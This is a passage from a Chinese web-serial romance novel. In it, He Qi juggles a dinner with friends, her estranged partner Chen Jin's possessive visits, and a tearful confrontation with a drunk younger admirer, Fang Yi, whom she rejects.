两人牛头不对马嘴地尬聊了两句,陈津又像幽灵似的飘回厨房。 等男人的身影消失在视野里,李家佳嘴都用力抿起,拽过何漆,像港片警察拷问一个罪大恶极的犯人:“你别告诉我,你春心荡漾的对象还是这个老男人?” “你真是够了!”何漆理直气壮地喊了一句,对上李家佳的眼睛,气势又迅速弱下来,“什么春心荡漾,情况真的非常复杂,一时半会儿说不清。” “有什么说不清的?你俩这不又住一块儿了!”李家佳语速极快,还要再说什么,陈津就又从厨房里飘出来。 “我多煮点饭,一起吃吧。” 李家佳原本拽着何漆的动作顿时化作一个小鸟依人的挽臂,一副姐俩好的样子,乐呵呵道:“那就麻烦你了。” 陈津点头,何漆则拉着李家佳到客厅,被简单盘问了一圈,也不管对方听没听懂、是什么表情,立刻岔开话题:“要不我们把张心怡也叫过来?” 李家佳没意见,何漆便赶忙去打电话,说是饭已经做好了,不用她带任何东西,来得越快越好,大家都等着她开饭。 这么吓唬一通,张心怡到的时候陈津正好把菜上齐。 何漆去开门,看见依旧提了满满两手东西的小姑娘。 “真是的,大家都等你开饭呢,还有空去买这些。”何漆嗔怪着,拎过购物袋,想起没有多余的拖鞋,把自己脚上的脱了踢给她。 “昨天的事情都没来得及谢谢漆姐。”张心怡对她笑了笑,目光往屋子里望去,像过年走亲戚的小孩子似的一个个喊人,“家佳姐……” 她目光扫过,看到陈津,一时不知道该怎么叫,扭头看了何漆一眼。 何漆正打算给她解围,就见张心怡已经把头扭了回去,坚定道:“姐夫。”—— 作者有话说:感谢小天使们的营养液[垂耳兔头] 第29章 张心怡压根不知道他俩最近闹的事儿,记忆还停留在何漆说花男朋友的钱请她吃的那顿火锅,再就是昨天,派出所门口,也看到了他俩凑在一块儿。 今天乍然见到陈津,喊声“姐夫”不觉得有什么毛病。 自然也不会深究何漆为什么突然换了房子。 三人显然都被她这声高亢的“姐夫”喊懵了,陈津最先反应过来,拿起挂在椅背上的外套穿上,自然道:“嗯,先进来吃饭吧。” 何漆没说话,眼下也不好解释,把手上的两个袋子放好,陪着张心怡到餐桌边上。 四方的长桌,张心怡跟李家佳坐在同一边,能和陈津坐一块的也只有何漆。 桌面上六菜一汤,李家佳过来时就饿得头昏眼花,听何漆说家里有冬笋更是馋得不行,此刻看到一碗油焖笋、一碗咸菜笋汤,更是什么也不顾上,一点儿没客气,直接动了筷。 “昨天那事儿,警察后来还有联系你吗?”何漆看李家佳吃得香,主动关心张心怡。 张心怡点头:“他好像得拘留两天,也跟警察保证了不会再来找我麻烦。” 李家佳解了嘴馋,赶紧加入话题:“那种话你千万别全信,反正最近几天上下班注意点,多跟同事一块儿走。” 何漆也赞成:“要是真有什么事随时联系我们。” 她话说完,原本只穿着袜子点在地上的脚突然感到一阵毛绒的触感,低头一看,是陈津把他的拖鞋踢到了自己脚边。 何漆不想要,若无其事地把脸抬起来,一边跟面前两人讲话,一边毫不客气地又把拖鞋踢回去。 不料陈津突然侧着脑袋把脸凑过来,跟何漆耳语:“踩着也行,地面冷。” 何漆没扭头,于是眼睁睁看着李家佳和张心怡倏地合上嘴,眨了眨眼,目光一致地从她看到陈津,再从陈津回到她,露出两脸讳莫如深的表情。 何漆朝她俩展示了一个不失礼貌的笑容,餐桌底下的腿默默向侧边伸过去,踩住陈津的拖鞋,掳到自己的地盘里,然后飞速穿上。 四人聚餐氛围不错,三个女人什么都能聊两句,陈津坐在一旁基本被当作空气,何漆不搭理他,只有李家佳和张心怡为了避免尴尬,时不时给他递两句话。 陈津倒不觉得有什么,他话本就少,吃饭时更是能不说就不说,听她们热闹的聊天也觉得有趣。 一顿饭吃完,张心怡和李家佳都有些不好意思,看厨房没装洗碗机,争着要帮忙洗碗。 “没事,我来吧。”陈津正按大小把碗盆叠成一摞,又对何漆说,“厨房里有几颗冬笋已经洗好去了皮,做起来比较方便。” 何漆听明白,拿过李家佳带来的大菜篮进厨房,把那几颗白白嫩嫩的笋分装进两个保鲜袋,给李家佳和张心怡一人一份。 三人又在客厅聊了会天,眼见时间不早,正好李家佳是开车过来的,可以载张心怡回去,两人便打算告辞。 何漆把她们一路送到楼下,李家佳走出单元楼就用车钥匙解锁车门,转头问何漆:“我什么时候能再来蹭饭?” 何漆耸耸肩,无所谓道:“随时。” 李家佳惊讶地张嘴,还以为何漆真打算就这么跟陈津和好,又听她道:“不过厨师换我。” 送完两人,何漆揣着手回到家时,陈津刚洗完碗从厨房出来,抽了两张纸巾擦手。 他目光随意地打量着屋子,又找到卧室的位置,往里瞧了两眼。 何漆在玄关处换回自己的拖鞋,问他:“你打算什么时候回去?” 陈津没立刻回答,走到客厅,把擦手的纸团了团,扔进那里的垃圾桶,又发现茶几上的水果盒里还剩下最后一颗小番茄,顺手拿起来丢进嘴里,再把空的塑料盒扔了。 何漆原本想提醒他那颗小番茄可能坏了,然而还没来得及张口陈津就已经吃了,见他面色无恙,想来侥幸逃过一劫,反倒是她自己又想起白天那颗坏番茄的滋味,嘴里开始分泌口水。 陈津把茶几上的几个零食包装也收拾掉,才慢半拍地回复何漆刚刚的问题:“明天早上。” 明天早上? 何漆琢磨了两秒,反应过来他是想在这儿过夜的意思,立马严正拒绝:“不行。” 她站在玄关处的位置,也不打算再进来,隔着一段距离强硬地对陈津说:“你快点走吧。” 两人一个在里、一个在外,互相对峙着,仿佛陈津不 走,何漆就不会进来。 “你别这样。”何漆看着他,半晌,神色殷殷地说,“别让我后悔当时的心软。你今天这样不打一声招呼就过来,还遇上我的朋友,我也没说什么吧?” 陈津像是被她说动,从沙发上站起,一步步走出来,在玄关处穿鞋时道:“那我明天下班再来。” “不要。”何漆又拒绝。 陈津动作停顿,朝她看过来。 何漆迎着他的视线,还是不改答案:“明天别来了,最近也先别来,我还没想好,你这样总会干扰我。” 何漆话虽这么说,其实并不知道自己还要想些什么,但陈津觉得他知道—— 因为感情里的利弊是很难权衡的,所以何漆一定是需要单独的时间让这段感情冷却,好让所有的弊端浮起来、所有的利处沉下去,就像他之前说的那样。 即便心里有这样的答案,陈津还是问她:“最近是多久?” 何漆张了张嘴,有些心虚地摸了一下鼻子:“一个、半个月……吧?” 陈津把已经穿进鞋子的半只脚又脱出来,面无表情但明显怨气很重地盯着何漆。 何漆注意到他的动作,怕他真不走了,勉为其难地安抚道:“两周不算很久……而且我可以报备行踪,你不是说想知道我每天在哪里吗?我大多数时间肯定在家,出门了会跟你说的……” 陈津不买账,只吐出两个字:“三天。” “什么?”何漆懵然。 “只有三天,你还是要跟我报备,我三天后再来。” 何漆想讨价还价,然而这一回,陈津的动作却出奇得快,不等她说什么,男人的身影就在大门的一开一合中消失了。 三天,用三天时间考虑出他们之间的两全之策,这显然是不可能的,甚至就算给何漆半个月也没什么可能。 因为这根本就不是时间的问题。 面对一个注定无解的矛盾,何漆暂时选择走一步看一步,总之接下来两天,她完全没有花时间去想这件事,反而化郁结为动力,连洛洛编辑都惊讶于她的高产。 到了第三天下午,距离陈津再次上门做饭还有二十多个小时,何漆突然接到了一通方翊打来的电话。 对面环境无比嘈杂,偶尔还有几声奇怪的尖叫传来,令何漆不由皱眉,拿远屏幕确认,是方翊的备注。 “喂?”对面总算有人应声,是道男声,但听起来却似乎不是方翊的嗓音。 何漆同样谨慎地“喂”了一声。 对方听见,似乎长长松了口气,连忙道:“您好,请问是方翊的姐姐吗?” 旁边又有个年轻的男声插进来:“方翊竟然还有个姐姐啊。” 正拿着电话的男生显然稳重些,把捣乱的人推远:“走远点,打电话呢。” 何漆不知道这是闹哪一出,无奈道:“你们找错人了,我不是方翊的姐姐。” 电话对面的男生诧异地发出一声“啊”,念念有词地捣鼓了一会儿。 “没打错啊,备注是写的姐姐……他不是说要找姐姐吗……” 那男生又回头朝不知在哪的方翊吼道:“你到底要找哪个姐姐?怎么瞎给人备注?” 周围似乎有人在起哄,方翊的回答电话里录不到。 何漆对这种成群的毛头小子感到麻烦,直截了当地问:“方翊怎么了?为什么会打电话给我?” 对面的男生立马老实回话:“那个,姐姐,就是我们在酒吧聚会呢,一个没注意让方翊喝多了,他不住宿舍,我们又不知道他家在哪,就听他一直说什么姐姐的,我看她通讯录里给你备注了姐姐两个字,所以就打过来了。” 酒吧聚餐? 何漆看了眼手机上的时间,下午三点,不知聚哪门子的餐。 她没兴趣管一个醉酒的男大学生,直言:“我不是他姐姐,没法去接他,你们等他酒醒一点再问问他家在哪儿吧。” 正要挂断时,对面又传来一阵不小的骚乱。 连讲电话那个男生都好像慌了,声音忽远忽近:“卧槽?怎么晕了!酒精中毒?” 何漆也被这一嗓子打得措手不及,心里一紧,心烦地“啧”了一声,还是从沙发上一骨碌站起,拿了件外套问:“你们在哪个酒吧?” 问了两遍对方才听到,着急忙慌地报了个地址,何漆在地图上搜,距离不远,她边打车下楼边对电话那头道:“赶紧叫救护车!跟医生说明情况,知道吗?” 对方连连答应,何漆的网约车到了,就先挂了电话。 一路让司机加足马力,等靠近那个酒吧时,救护车已经在门口停定,医务人员正把一个躺在担架上的男生送上车。 路口处人员和车辆聚集,一时堵着没法前进,还剩七八米的距离,何漆隔着车窗不停张望,最终火急火燎地下车,朝正在合上车门的救护车狂奔而去。 可惜还是差了点,眼见救护车在面前缓缓起步,何漆跟着停下脚。 急促的呼吸令冷空气大量灌入她的气管,隐隐的窒息感中,她拿出手机打算再试试拨打电话。 另一手则抬起想要撩一把跑乱的头发。 然而动作都还没进行到一半,侧方有股浓烈的酒气袭来,何漆的手腕被人捉住,以极大的力道猝然拉了谁的怀里。 第30章 何漆尚且没来得及做出反应,那个带着一身酒气的人便用双臂结结实实地环住她,下巴搁在她的头顶,含含糊糊地喊道:“姐姐。” 一旁的人群里又窜出个男生,吓得惊慌失措,使劲拽着醉鬼的手臂想把他拉开,痛心疾首地斥责:“方翊!喝醉酒也不带这样的!你再这么性骚扰我真报警了!!” 何漆被抱得紧,能施展的空间太小,抬手推了推面前人的腹部,不料隔着毛衣还能摸到颇为结实的肌肉,手指蜷了蜷,不得不缩回手,冷声警告:“方翊,放开。” 一旁那男生听到何漆喊出方翊的名字,先是愣了两秒,很快反应过来她就是方翊口中的“姐姐”,用蛮力把醉鬼扯开。 他半边身子都用来支撑方翊站得像个人,五官扭在一起,头发染成扎眼的黄色,眉毛上还打个钉子,却一边抵着方翊,一边恭恭敬敬地给何漆打了声招呼:“姐,您好。” 何漆听出这人就是给她打电话的那名男生,看着面前这颇为滑稽的一幕,蹙眉道:“你好,不过在电话里,你不是跟我说方翊酒精中毒了?” 那小黄毛忽然瞪大眼,一副被冤枉了的模样,想了想又恍然大悟:“哦!您以为是方翊吗?不是,是我们另外一个朋友晕过去了,其他人已经跟着救护车去医院了,我陪着方翊等您过来。” 完完全全一场乌龙。 电话里对方确实没说明酒精中毒的人是谁,而何漆听到这几个字就慌了神,先入为主地以为是方翊出事,也没细问,就这么心急忙慌地跑了过来。 何漆不是滋味地捋了把刚刚没撩成的头发,看了眼醉得满脸潮红的方翊,叹口气说:“我不知道他家在哪,不然你也把他带去医院,挂个号,看有没有医生护士能给他解酒。” 她这话明显是在打发人,小黄毛见她要走,着急地过来拦人:“不成,姐,不成,就他现在这状态,我看不到天黑清醒不了。” “那跟我没关系。” 何漆双臂抱在胸前,呈现防御的姿态,侧目睨过去一眼,高大的方翊正东倒西歪地被人半扛着,此刻半阖着眼,分外安分。 小黄毛顿时面露难色,诚恳道:“姐,我是真没法带着他,我原本算好时间下午两点就得回去做期末作业,出来喝酒就是找找灵感,谁知道出了这么一遭……现在都三点多了,我那作业搞不完真得挂科。” 染头喝酒打钉,但老老实实写作业,这人设叫何漆有些忍俊不禁。 她琢磨了一会儿,动摇着松口:“我和方翊不是有亲缘关系的姐弟,他现在喝成这样,但也不算完全丧失行动力,我单独带着他走不知道会发生什么,这样吧,我问问有没有人知道他 地址,问到了还是你送人。” 小黄毛想不出更好的办法,咬着牙点头说行。 何漆则帮他把方翊带到酒吧门口的露天圆桌边坐下,接着拿出手机找到李乐一的微信,发了条消息过去。 好半晌没人回,小黄毛坐在一边心急如焚,不停点亮手机屏幕看时间。 何漆见状索性给李乐一拨了支语音电话,然而依旧石沉大海,语音自动挂断时,她略带尴尬地看向小黄毛,小黄毛更是满脸委屈地看回来。 还是那句话,耽误学习、罪大恶极。 何漆狠下心朝他挥挥手:“算了,你走吧。” “真的啊?姐?真的?” 小黄毛一下从椅子上跳起来,两眼亮得放光,虽然嘴上一直追问,双腿却已经诚实地越走越远。 何漆叫他在自己反悔前快走,于是他留了个自己的号码,一溜烟就没影了。 李乐一迟迟不回消息,何漆到方翊身边的椅子上坐下,她指尖在联系人页面百无聊赖地上下翻动。 要不要问问李家佳?说不定她能联系上李乐一……但也不确定李乐一到底知不知道方翊家住哪。 她思索着,指尖一路滑,碰到陈津的聊天框,意外点了进去。 要叫陈津来帮忙吗?但他俩还不算和好,况且这个时间在公司也出不来吧?但还是问问…… 她刚打算去点输入框,半边的肩膀乍然一重,是方翊的头歪了下来,正好落在她的肩上。 何漆惊了一跳,只能先把手机搁至腿上,伸手想把方翊的脑袋搬起来,却觉得不大对劲,在他耳边问:“喂,你真的喝醉了?” 方翊闭着眼不作答,似乎睡过去,但眼睫却不规律地颤着。 何漆想戳穿他,张嘴前怀里的手机却恰巧响了起来,低头一看,是李乐一打回来的语音电话。 她接起,对面立刻传来李乐一活泼过头的嗓音:“漆漆姐?你怎么给我打电话了,我刚刚模拟考不能看手机,还有条消息?方翊的地址?” 何漆根本插不上话,李乐一还在滔滔不绝。 “他就住在同大边上的顿园,十幢六层,环境可好了,你要去找他?” “嗯。”何漆拖长语调,发出了一种思考的声音,斟酌着要不要把实情告诉他,“我找他有点事儿,反正谢谢你啊。” “服了,姐你跟我客气什么。”李乐一大咧咧道,“这么点小事儿,我下次来江市找你玩。” 何漆说好,很快挂了电话,刚在打车软件里输入地址,又有一阵电话铃声响起,不过这回是方翊的手机。 他一开始没动弹,等着电话自动挂断,谁料对方是个不识相的,一支接着一支打过来,不被接通不肯罢休。 方翊无奈地半睁开眼睛,在口袋里摸索好一通才把手机拿出来,铃声不再被闷进衣服里,嚣张又急迫。 何漆往侧方瞄了一眼,看到备注上“李乐一”三个大字。 方翊在屏幕上点了好几下才按中接听键,没急着开口,对面就像炸了个炮仗般“噼里啪啦”地响起。 “我靠!方翊!出大事了,刚刚何漆姐问我要了你的地址说有事儿找你!你犯什么错误了?能跑快跑吧!!” “我听我姐说她男朋友可不是吃素的,虽然你家也挺厉害,但反正打起来我可说不好帮哪边!” “而且何漆姐虽然看起来文文静静的,但我觉得她能跟我姐玩到一块儿肯定也是个狠角色。兄弟就帮你到这儿了,你倒是说话啊?” 方翊把眼睛重新闭上,一副因为喝太多了而听不懂长篇大论的表情,往何漆那儿凑了凑,迷糊地抱怨:“我头疼。” 李乐一怒了:“都这关节了!你头疼啥……” 他话到一半,被何漆从旁温声打断:“乐一,我是何漆,方翊跟朋友在外面喝多了,错给我打了电话,我现在要送他回家,所以刚刚才问你要地址。” 这是何漆头一回如此亲昵地喊李乐一,她嗓音平和甚至温柔地补全了刚刚没做的解释。 电话对面那炮仗却霎时哑火了,半天才发出一声近乎呜咽的“哦”,用蚊子似的声音嘤咛了一句“漆姐再见”,随后火速挂断了通话。 打的网约车已经开到面前,何漆扭头看方翊,方翊似有所感般缓缓睁开眼,也转头看过来。 脸上的泛红和眼神的迷离做不了假,方翊恐怕确实喝了不少,但有没有真的醉到任人摆布的程度,这还值得打一个问号。 何漆盯着他,脸色并不如平常般柔和,忽然道:“这次就当我还给你,你之前跑到宁市送过我回家,所以我今天帮你,不管你真醉假醉,下不为例。” 说完她就拉着方翊起身,椅子上的男人一开始不太配合,只仰着头看她,朦胧的醉眼里仿佛要蒸出水汽。 司机等得不耐,鸣了一次笛,何漆无奈矮下身想把他的胳膊放在自己肩上,方翊看出她的意图,沉默却脚步不稳地自己站了起来。 一上车司机就闻到股很重的酒气,回头往后座看了眼,不客气道:“喝醉了?吐车上赔一千。” 何漆面无表情问:“听见了?” “嗯。”方翊应一声。 司机见两人好说话,又一个赛一个好看,也许是觉得自己刚刚态度差,怕被打差评,趁红灯从后视镜张望了两次,有意跟何漆攀谈:“小姑娘,你男朋友长得真俊。” “弟弟。”何漆回道。 司机有些尴尬,连“哦”了两声。 原本靠在座椅上闭目养神的方翊突然开口,有气无力的声调让他话里的抱怨意味更浓:“现在倒是弟弟了。” 何漆不理会,装没听见地把头扭向车窗,只想安安静静地度过车程。 然而下一秒,手腕内侧,脉搏的位置,爬上了五根冰冷的手指。 何漆迅速将其甩开,方翊握她没用力,手指一下便滑落,却契而不舍地又攀上去。 “方翊。”何漆没看他,冷冰冰地喊他名字作警告。 方翊也装没听见,细声细气地说:“我想吐。” 司机被吓了一跳,油门踩重,眼看就要到达目的地,赶紧劝:“别吐别吐,这就到了!” 车子以最快的速度停在了小区门口,保安过来帮忙拉车门,何漆利落地下车,决定再打一辆回家。 方翊被保安扶下来,何漆抬眼扫过:“他是十幢六层的租客,麻烦你们把他送到家。” 眼前天旋地转,方翊抬手抓了个空,嗓音打颤地问:“姐姐,你就这么不想和我有接触吗?” 何漆想说“对”,刚仰起脸,乍然看见方翊脸上一道泪痕,嘴边的话又给咽了下去,反问:“现在这个状态,你觉得我们适合单独相处吗?” 方翊看着她不说话,又一滴泪径直掉下。 一旁的保安显然很是尴尬,何漆也不喜欢这场景,正好又有车辆驶入,她跟保安道了声“麻烦”,接过方翊的手臂。 “进去吧。”何漆叹气道。 一改先前的不耐,何漆不知在路上想通了什么,竟莫名有了种送佛送到西的精神,无言将方翊搀扶到了家门口。 指纹锁打开,两人刚进玄关,里头冲出了一团灰色的东西,吓得何漆赶紧把门从里面合上。 定睛一看,是那只蓝猫。 “二十七啊。”何漆心有余悸地喊它。 蓝猫聪明地叫唤了一声,在两人脚边打转。 何漆带着方翊进客厅,把他安置在沙发上,甩了甩酸痛的胳膊,松了口气地环视一圈,二十七跟着跑到了客厅一角的巨型猫爬架上。 方翊坐在长沙发的正中央,头往后仰倒,垫在沙发的靠背上。 何漆站在他面前,居高临下地与他对视。 方翊感受着那种目光,全身没什么知觉,只有心脏麻麻的,尚未失灵的直觉告诉他,何漆要认真地清算什么了。 于是,意料之中的 声音在他头顶响起。 “方翊,我知道你能听得懂我说话,把你送上来是为了保证你的安全,所以接下来的话你记好。” “我说的下不为例并不是玩笑,我也不是第一次告诫你我们之间没有可能,但你没有听进去,反而一再挑战我的底线。” “你帮过我很多忙,又是李家佳表弟的朋友,我其实不想和你闹得太难看,但却变成了你得寸进尺的理由。那么我现在讲清楚,方翊,以后不要再联系我了。” 何漆一口气将这一长串说完,措辞时也有于心不忍,但终是用了很严厉的语气。 方翊神色不太清明,瘫坐在沙发上,安静地听完全程,一双醉眼低垂,说不出的可怜。 二十七趴在猫爬架的中层,把自己缩成一团,一声不吭地从高处看着两人。 何漆等了很久,见方翊没有要回话的意思,迈开腿想要离开。 谁知刚走出一小步,衣摆的一角就被揪住。 方翊有气无力地阻止着何漆,头缓慢抬起,眼神中流露出带着绝望的悲伤。 他问:“姐姐,你说,你知道我帮过你很多忙,所以今天你还回来,那你知道我一直在等你吗?” 何漆没有说话也没有动,她确信这不是一个需要答案的问题。 果然,方翊很快自顾自道:“从去宁市找你的那天开始,我就一直在等,等一条可能发出去半分钟就会撤回的消息,等一通响铃一秒钟就挂断的来电,我知道我的机会就在这些转瞬即逝的时间里,在你可遇不可求的犹豫里。” “我一直提心吊胆地等着,生怕错过,连这样微渺的希望也不能给我吗?” 何漆侧身对着方翊,不敢直视他的眼睛,心里涌上点酸楚,尽力解释。 “宁市那件事是我的错,是我冲动、拎不清,没有顾及你的感受,但方翊,你的等待是从错误里诞生的,不要一错再错,不要无谓地等……” 方翊抓着她外套的手不肯松,何漆闭了闭眼,缓一口气,勉强压下那点酸意,转过身正对方翊,顺势将他的手挥落。 “再者我们说点现实的,我今年已经过了二十六岁生日,比你大了七岁有余,没买房没买车,存款只够养活我自己,我是不婚主义,情感需求对我来说没那么必要,但我也不接受以玩玩为目标的不认真的感情。” “你才刚成年,同大是所不错的学校,优秀的校友不会少,还有很多会出现在你生命里的人你没有认识,盲目地期盼那点错误的希望是愚蠢的……” “姐姐,感情是这样算的吗?”何漆话音刚落,方翊便抬眼问她。 那一眼里的泪意几乎令何漆心中一颤。 方翊继续盯着她,逻辑和口齿清晰得完全不像一个喝过酒的人,只有泪珠在无声无息地不断坠下,打湿他的半张脸:“如果非要这么算,我家庭条件不差,是独生子,虽然还没工作,但家里的生意会交给我,我愿意不结婚,父母也很开明,你却连一点机会都不肯给我,这样就是明智吗?” 何漆其实有很多话想反驳。 她想说他们压根就不了解彼此,相处时看到的不过是最体面的表象,大可不必说得非谁不可。 她想说也许他们遇见的确实不是时候,如果她再年少一点,或者他再早生几年,看问题的角度就会大有不同。 她想说感情是股票没有保险,她不喜欢他,就不可能无视风险地买入。 但这是第一次,有男人在她面前哭得泪流满面、楚楚可怜。 何漆张了张嘴,却被他哭得哑口无言- 何漆不大记得自己是怎么回来的了。 反正方翊后来又重新抓住了她的衣角,哭累了睡过去时都还捏着,不过早没法用力,她轻轻一甩,他的手就掉开了。 哭成那样,她也不好说什么重话,反倒安慰了几句,但显然没安慰到点子上,方翊泪掉得更厉害了。 也不确定到底算不算说清楚,何漆精疲力尽地走到自家单元楼前,看见楼上的一个女邻居正在扔垃圾。 她们互相只是眼熟但还没正式认识的关系,何漆又累得不行,索性装没看见,而那女邻居却反常地回头多看了她两眼。 冬季天黑得早,眼下七点出头,夜色浓得好似深更半夜。 何漆拖着沉重的步子一格格爬楼,甚至懒得去点灯,全凭肌肉记忆在走。 只有四楼人家在门前装了台十分灵敏的声控灯,从何漆踩上第一格阶梯时就猛地亮起,灯光往下渗透,漏到何漆那地方时已经十分微弱。 她慢吞吞地走,听到下方楼道传来另一道更急促的脚步声,估计是倒垃圾的邻居回来了。 何漆不想和她碰面,不得不提口气快上几个台阶。 她原本一直低头看脚下,即将行至二楼时才缓缓抬眼。 四楼的声控灯到时间熄灭了,又因为邻居渐近的脚步声重新亮起。 浓重的夜色在微弱的灯光中一灭一亮,何漆眼前乍然出现一个高大的人影—— 作者有话说:感谢小天使们的霸王票和营养液[接]《 》 30-40 一旁的角落里还放着一只购物袋,陈津先开口,声音没什么情绪地问:“你去哪了?” 何漆不想回答也没法回答,把问题抛回去:“你为什么来?” 陈津像是疑惑地皱了皱眉:“说好了三天后再来,今天不就是第三天。” 何漆微微瞪大眼,发觉他们甚至对“三天后”这样的词也有错位的误解。 “我以为你说三天之后,是明天。”她解释。 陈津点点头,很平静地接受了,于是又回到开始的问题:“你去哪了?” 何漆不搭理:“你什么时候来的?” 陈津闻到她身上的气味:“你喝酒了?” 何漆眸色疲倦无神:“干嘛不给我发消息?” 陈津:“你出门为什么不跟我报备?” 你来我往的质问,没有人率先回答,谁都不肯落下风。 何漆闭上了嘴,无精打采地看着陈津,希望他能看懂自己的疲惫,适可而止。 但陈津没有那样做,还是追问道:“承诺给我的那么点小事你也做不到吗?你跟谁出去喝酒了?你现在告诉我,我就当没发生过。” 何漆不说话。 陈津开始猜:“李家佳?” “张心怡?” 陈津说一个名字便停下来观察何漆三秒,直到五个名字之后,何漆还是不为所动。 “要我一个个给她们打电话吗。”陈津冷下声音。 何漆又冷又累,破罐子破摔地问:“我现在告诉你,你就当没发生过?” 陈津忽然握紧了身侧的拳头,心里有两种念头在叫嚣拉扯,他硬是咬着牙说了声:“对。” “是方翊。”何漆干脆答,“我 出去见方翊了。” 一片死寂之中,陈津的呼吸声在耳边越来越重,何漆却觉得自己的呼吸就快停止了,轻得气若游丝。 这场面没有僵持多久,就被陈津低哑的嗓音打破了:“开门吧。” 何漆以为自己听错了,震惊地抬眼看他,陈津却只侧对着何漆,垂头盯着密码锁,又重复了一遍:“开门吧。” 他真的打算当作什么都没发生。 何漆难以置信,面部表情都像是控制不住肌肉般抽动了两下,但她真的太累了,不想面对任何人。 “不要。”何漆喉间哽塞地滚动了一次,勉强稳着声线,“你回去。” 陈津在原地站了半晌,不知在想些什么,忽然抬手输入门锁密码,试了三次都是错误,机械声提醒他再错误就会锁定。 “你今天先回家,我要休息。”何漆扭过脸,不忍道。 紧接着,密码锁发出锁定三分钟的警报。 陈津颓然地朝何漆走了一步,问她:“他给你上什么眼药了?他跟你说什么了?” 何漆觉得自己的情绪隐隐要爆发,但还是强撑着否认:“他能跟我说什么。” “那你为什么对我这个态度?你见过他为什么对我这个态度?” 陈津抬起双手捏住了何漆左右两个肩膀,很用力,有点痛。 何漆眼皮耷拉着,撑不开似的,声音轻得像尘埃落在地上:“我累了,陈津,我说我今天太累了。” 时间在这个老旧的楼道里仿佛被偷走片刻,不知过了多久,肩膀上的手掌松开,陈津擦着她的手臂,消失在她的身后,一阵脚步声掠过,再也无影无踪。 何漆顿了一会儿,直到门锁处传来重新开锁的“滴”声,她才如梦初醒地拎起陈津放在地上的购物袋,满身疲倦地进了家门。 快速洗了个热水澡,她连晚饭都没吃,倒在卧室的单人床上,沾枕就睡。 做了一整夜光怪陆离的噩梦。 第二天,何漆是被一阵敲门声吵醒的,意识清醒的第一秒,她感到头疼欲裂。 头晕目眩到她都有点犯恶心,敲门声又响了两次,她摸到枕边的手机看了一眼。 屏幕上显示的时间为下午三点二十七,何漆眨了眨眼睛,以为自己在做梦。 她强撑着从床上起来,随手从头顶往后梳了两下头发,拿了床头的框架眼镜戴上,茫然地下地去开门。 然后她更懵了,门外站着的是陈津。 陈津见她这乱糟糟的状态同样一愣,自然地挤进玄关,伸手帮她把歪了的睡衣衣领拎正,知道她没午睡的习惯,问:“才睡醒?” 何漆从喉咙里发出一声哑哑的“嗯”,没懂他这又是哪出,仰着头眯眼看他。 陈津浑然不觉似的,专心换自己的专属拖鞋:“那你先去洗漱吧,我过一个小时烧饭。” 何漆脑袋还没完全清醒,进卫浴刷牙洗脸缓神,等意识彻底复苏后才出卧室找人,陈津已经在厨房整理昨今两天带来的食材。 何漆靠在厨房门口的墙壁处,又确认了一遍钟表,从陈津公司到这里的距离不近,再加上买菜的时间,她问:“你不上班了?不是说在带组做项目?” 陈津正好洗了一盘小番茄出来,轻轻放在餐桌上后又回到厨房,平静地答:“组员人都很好。” 意思是能包容他最近的异常。 何漆一时无言以对,走到餐桌边把椅子拉得很开,侧对着餐桌坐下,两条腿舒展地伸在外面,拿了颗小番茄放进嘴里嚼。 酸甜的汁水在口腔内炸开,她琢磨着陈津这算什么态度,毕竟在她看来昨晚两人称得上是不欢而散,怎么扭头又跟什么事都没发生一样,好声好气地上门来了。 何漆一面思索,陈津一面在厨房那几平米的地方来回走。 他那双拖鞋是在路边的一个小摊顺手买的,价格便宜,质量不大好,抛开鞋面上做工粗糙的花纹,鞋底也硬得像纸板,在家里的瓷砖上踩来踩去,一刻不停地发出难听的脚步声。 何漆思绪飘远,想着得给他重新买双拖鞋,桌上的手机却在这时猝不及防响起,打断了她的想法。 来电显示为“妈”。 这还是徐燕自上回的事情之后第一次主动给她打电话,何漆整个人顿了顿,犹豫片刻后还是接通了。 她把手机放到耳边,抬眼往厨房里看了眼,只瞧到陈津站在水槽前洗什么的背影。 “喂,漆漆?”徐燕颇为拘谨的声音在耳边响起。 何漆抿唇,冷淡地“嗯”了一声:“什么事?” 徐燕感受到她疏离的态度,有些心酸地干笑了两声:“也没什么事儿,我之前给你寄过去的冬笋你吃了吗?会烧吗?原本想着剥干净皮再给你寄,但就怕那样容易坏。” 何漆听出了她话里隐隐的讨好和试图亲近,垂下眼,放在腿上的左手捏在一起捻了捻,大拇指指腹划过另几个手指的指甲边缘。 她情绪不高,又闷闷地“嗯”一声:“吃了。” 半晌补了句:“挺好吃的。” 电话两头有片刻功夫都没有声音,像是无话可说,何漆却能在这短暂的沉默之前察觉到徐燕有种松了口气的庆幸,就像徐燕敏锐地捕捉到何漆掩盖在简短字句里的松动。 从不明说,但无比了解无比熟悉无比默契,因为这样的模式已经在这对血脉相连的母女之间演示了数十次数百次。 好了伤疤忘了疼的不长记性也是一种难以拔除的劣根。 “你是不是还在上班?那先不跟你多说了。”徐燕顾及着她的工作,体谅道。 何漆又应一声,太过无波无澜,听不出是否带着撒谎的心虚。 电话随之挂断,她注意到邮箱的图标上冒着小红点,点进去查看,发现是两封过稿通知,回声出版社的一篇投稿过了二审,另一篇投给其他出版社的稿子直接选用了,邮件末尾附着编辑的联系方式。 何漆来回看了好几遍,被这意外之喜弄得措手不及,两条眉毛高高仰起,抬得肌肉都有些酸胀了才眨眨眼,确定都是过稿通知而不是退稿通知。 脸都高兴热了,嘴角一直无意识咧着,她把邮件纷纷截图下来,发给李家佳看。 得到李家佳一句真心实意的语音:“我去何漆,你是天才来的吧?” 何漆听完根本忍不住笑,牙齿咬着下唇,跟李家佳又聊了两嘴,给编辑发完好友申请,陈津恰巧从厨房里走出来。 僵硬的拖鞋底随着他的脚步有节奏地拍打着地砖,屋内开了热空调,陈津只穿一件薄薄的白衬衫,刚刚在厨房碰过水,所以袖口卷起一截,露出结实的小臂。 厨房出来就是餐桌,他瞟到水果盘里的小番茄几乎没怎么少,随手拿了一个放进嘴里,一边的腮帮子就微微鼓起弧度。 “不饿吗?起床都还没吃过东西吧。”陈津问。 何漆眼下心情明朗,轻快地摇摇头。 陈津注意到她愉悦的眼眉,慢慢走到她身前:“笑什么?” 何漆还坐在椅子上,仰起点头看他,神秘道:“有高兴的事儿。” 陈津故意靠得很近,何漆的脸就在他腰腹前两个拳头的距离。 何漆能闻到他身上独特的气息,不是香水味,也不是洗衣液或者沐浴露的留香,单纯是陈津的味道。 说不上到底算香还是该用别的什么形容词,反正就是好闻,会让人心神轻颤的好闻。 赚了钱、一高兴,何漆就想大方地请客,对陈津说:“要不我们出去吃吧?我请客。” 